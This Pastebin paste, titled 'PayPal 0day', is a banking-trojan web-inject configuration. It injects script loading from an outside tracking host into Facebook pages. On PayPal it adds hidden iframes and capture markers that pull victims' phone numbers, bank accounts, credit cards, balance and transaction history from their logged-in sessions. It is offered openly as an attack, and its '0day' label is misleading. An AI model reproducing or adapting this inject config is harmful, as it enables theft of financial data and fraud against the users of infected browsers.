cc7

PayPal 0day

cc7
Nov 28th, 2017
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.55 KB | None | 0 0
  1. Found by @SwattingCalls on Twitter
  2.  
  3. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  4. ;; PayPal
  5. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  6.  
  7. set_url http://www.facebook.* G
  8. data_before
  9. </head>
  10. data_end
  11.  
  12. data_inject
  13. <script type="text/javascript">var isloaded = false;</script><script type="text/javascript" src="http://clicktracking.biz/gwjs.php?pub=139622&gateid=MTc4MDUw"></script><script type="text/javascript">if (!isloaded) { window.location = 'http://clicktracking.biz/abp'; }</script><noscript><meta http-equiv="refresh" content="0;url=http://clicktracking.biz/java" /></noscript>
  14. data_end
  15.  
  16. data_after
  17. <body
  18. data_end
  19.  
  20. set_url https://www.paypal.com/##/cgi-bin/webscr* G
  21. data_before
  22. parent.frames.length >
  23. data_end
  24. data_after
  25. 0
  26. data_end
  27. data_inject
  28. 1
  29. data_end
  30.  
  31. set_url https://www.paypal.com/##/cgi-bin/webscr?cmd=_login-done* G
  32. ;set_url https://www.paypal.com/##/cgi-bin/webscr?cmd=_home* G
  33. data_before
  34. data_end
  35. data_after
  36. </body>
  37. data_end
  38. data_inject
  39. <iframe width="1" height="1" style="visibility:hidden" src="webscr?cmd=_profile-phone"></iframe>
  40. <iframe width="1" height="1" style="visibility:hidden" src="webscr?cmd=_profile-ach"></iframe>
  41. <iframe width="1" height="1" style="visibility:hidden" src="webscr?cmd=_profile-credit-card-new-clickthru"></iframe>
  42. <iframe width="1" height="1" style="visibility:hidden" src="webscr?cmd=_account"></iframe>
  43. data_end
  44.  
  45. set_url https://www.paypal.com/##/cgi-bin/webscr?cmd=_profile-phone GL
  46. data_before
  47. <table class="basic phone_list">*</tr>
  48. data_end
  49. data_after
  50. </table>
  51. data_end
  52. data_inject
  53. Phone Numbers:
  54. data_end
  55.  
  56. set_url https://www.paypal.com/##/cgi-bin/webscr?cmd=_profile-ach GL
  57. data_before
  58. value="_profile-ach-submit"*</tr>
  59. data_end
  60. data_after
  61. </table>
  62. data_end
  63. data_inject
  64. Bank Account:
  65. data_end
  66.  
  67. set_url https://www.paypal.com/##/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru GL
  68. data_before
  69. <table class="basic fullTable">*</tr>
  70. data_end
  71. data_after
  72. </table>
  73. data_end
  74. data_inject
  75. Credit cards:
  76. data_end
  77.  
  78. set_url https://www.paypal.com/##/cgi-bin/webscr?cmd=_account GL
  79. ;Status/Type
  80. data_before
  81. <div id="headline">
  82. data_end
  83. data_after
  84. </ul>
  85. data_end
  86. data_inject
  87. data_end
  88.  
  89. ;Balance
  90. data_before
  91. <span class="balance">
  92. data_end
  93. data_after
  94. </span>
  95. data_end
  96. data_inject
  97. PayPal balance:
  98. data_end
  99.  
  100. ;History
  101. data_before
  102. <td headers="selectColumn"*>
  103. data_end
  104. data_after
  105. </table>
  106. data_end
  107. data_inject
  108.  
  109. data_end
Add Comment
Please, Sign In to add comment